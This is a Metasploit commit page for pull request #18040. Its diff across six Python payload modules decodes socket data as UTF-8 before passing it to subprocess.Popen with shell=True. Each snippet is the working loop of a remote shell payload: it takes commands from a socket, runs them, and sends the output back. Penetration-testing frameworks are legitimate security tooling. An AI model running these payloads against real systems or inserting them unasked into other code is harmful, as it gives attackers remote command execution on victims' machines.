Land #18040, Fix Python's payload issue with Windows

This commit is contained in:
Christophe De La Fuente 2023-06-08 18:28:07 +02:00
commit c08f1971cc
No known key found for this signature in database
GPG Key ID: 9E350956EA00352A
6 changed files with 6 additions and 6 deletions

View File

@ -61,7 +61,7 @@ module MetasploitModule
cmd += "while not #{dead}:\n"
cmd += "\tdata=s.recv(1024)\n"
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.send(stdout_value)\n"
"#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""

View File

@ -42,7 +42,7 @@ module MetasploitModule
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.send(o)
PYTHON

View File

@ -51,7 +51,7 @@ module MetasploitModule
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
try:
so.send(o)

View File

@ -51,7 +51,7 @@ module MetasploitModule
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.send(o)
PYTHON

View File

@ -53,7 +53,7 @@ module MetasploitModule
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.sendall(o)
PYTHON

View File

@ -52,7 +52,7 @@ module MetasploitModule
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
PYTHON